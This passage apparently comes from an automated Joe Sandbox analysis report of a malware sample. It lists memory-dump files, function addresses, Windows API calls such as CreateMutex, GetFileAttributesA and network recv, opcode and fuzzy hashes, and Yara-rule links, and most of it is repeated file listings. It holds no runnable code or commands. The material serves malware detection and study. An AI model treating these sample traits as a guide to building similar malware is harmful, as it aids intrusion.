Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2R
API String ID: 1464230837-4242619351
Opcode ID: e8771c3a17ef51cbd3dcd2b4082d172664393ef0ff17ac276f93e57306e1473a
Instruction ID: 55ea335640c2ddc40e47a1cbfdcc255641e362b93f2b8b04d150bc54d2d5124d
Opcode Fuzzy Hash: e8771c3a17ef51cbd3dcd2b4082d172664393ef0ff17ac276f93e57306e1473a
Instruction Fuzzy Hash: 9A219A717002489BEB189B6CEC89B2DBB62EBD2318F24461FE904D73E0C77D99908657

Function 004C87B2 Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(?,004CDA1D,?,?,?,?), ref: 004C87B9

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: fe8515daf8942eb2e877722106d40c6cb55cce2909c84a5b2d9dd44de4aa8345
Instruction ID: c53987afdbc9c96b59c451cd1db1c6f769ef321ee053701f19f5260e0a85ec36
Opcode Fuzzy Hash: fe8515daf8942eb2e877722106d40c6cb55cce2909c84a5b2d9dd44de4aa8345
Instruction Fuzzy Hash: F4C08C2C11360025FD5C067C0984EAA334549977A83F42F8DE0708B3E1EE3D68079218

Function 004C87B0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,004CDA1D,?,?,?,?), ref: 004C87B9

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 109e2292c4a7125c0a5230356ea24e2cc6d2881b6b3171f2781d7a8a97dae1a8
Instruction ID: 9777115ad4b58816e2ab458e24d136362a4f54ac9fee9795e5a6fde5d5377508
Opcode Fuzzy Hash: 109e2292c4a7125c0a5230356ea24e2cc6d2881b6b3171f2781d7a8a97dae1a8
Instruction Fuzzy Hash: DEC0122C112200A6EA5C4A684984E2636059A937283F01B8DE0318B2E1EF3A940386A8

Function 004CB1A0 Relevance: 1.5, APIs: 1, Instructions: 244COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 004CB3C7

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: ac0d3ac2a49a30f38ac5e7cbf276fcc5fad92a8d8cc5e09a577a3d3c12d5bcbd
Instruction ID: 73601a5900e74efff5617ee5c3466bfaf9d4e7100358aa01671d6f1032ea12e3
Opcode Fuzzy Hash: ac0d3ac2a49a30f38ac5e7cbf276fcc5fad92a8d8cc5e09a577a3d3c12d5bcbd
Instruction Fuzzy Hash: 43B12670A10268DFEB28CF14C9A5BDEB7B5EF05308F5041DDE40967281D775AA84CF94

Function 048B0C69 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1922073937.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_48b0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cec48d6d7b89b07c487628bbe5f8f04b9bb694217a534cca8232dbc43102911f
Instruction ID: 167954c5aca4b20cac3fd10d58179beccd124e726b7e2073b1644e1a0e1d797d
Opcode Fuzzy Hash: cec48d6d7b89b07c487628bbe5f8f04b9bb694217a534cca8232dbc43102911f
Instruction Fuzzy Hash: 94113BB754F249AED24389A45A649FB7F2CF5832383304E57F0C2C6203F3556255A2B1

Function 048B0C81 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1922073937.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_48b0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3adc8a3fad13d74889eb8c3660cafcb65a3f6a1e8329962231c386420fdbd59f
Instruction ID: 386c7e01b71f3964e5bdeb19a52b460101f7d3597113f41b8b425d5b69000ae6
Opcode Fuzzy Hash: 3adc8a3fad13d74889eb8c3660cafcb65a3f6a1e8329962231c386420fdbd59f
Instruction Fuzzy Hash: 360126A724F254ADD20385A52BA8AF7BF6CB683639331895BF082C5503F3945219B2B1

Function 048B0C23 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1922073937.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_48b0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab65d876db850aa0f044dbd7c0f035aa006e55d0b1c8189b41aadd367bb824e0
Instruction ID: da1d069e8393dec497b29c07a0c23af02361a8740a751568a51fc41e31d01860
Opcode Fuzzy Hash: ab65d876db850aa0f044dbd7c0f035aa006e55d0b1c8189b41aadd367bb824e0
Instruction Fuzzy Hash: 4A0147B724E248AED20386E52FA89FB7B6DF6C3338330891BF482C6003E3551219B171

Function 048B0CAF Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1922073937.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_48b0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e775ec6b045e8bd408b7271d536dcc4b9bd30cde2fa9bd4ebadb9ea2a2e240d
Instruction ID: fb00f1619b566e544030d8004bfd6870fd2d96fa507ebe07e82df5a6d2d3207b
Opcode Fuzzy Hash: 0e775ec6b045e8bd408b7271d536dcc4b9bd30cde2fa9bd4ebadb9ea2a2e240d
Instruction Fuzzy Hash: 6DF028E324F118ADA60785616B648F33B28F1C3335336DE6AF4C3C6603E341B50AA0B1

Non-executed Functions

Function 004CE0C0 Relevance: 4.6, APIs: 3, Instructions: 102networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000004,00000000), ref: 004CE10B
recv.WS2_32(?,?,00000008,00000000), ref: 004CE140

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 87e78cecdbf45e9e33540ce70f4120549de0964ba21b7d84194686473e1c288f
Instruction ID: 31e5ead647db0777f7fb0b48a09187ef45b67752d9b099122a744be9ccb31ae5
Opcode Fuzzy Hash: 87e78cecdbf45e9e33540ce70f4120549de0964ba21b7d84194686473e1c288f
Instruction Fuzzy Hash: 3931EB71A002449BD720CB69DC85FFB77B8EF19724F04062AE510E73D1CB78A849CB94

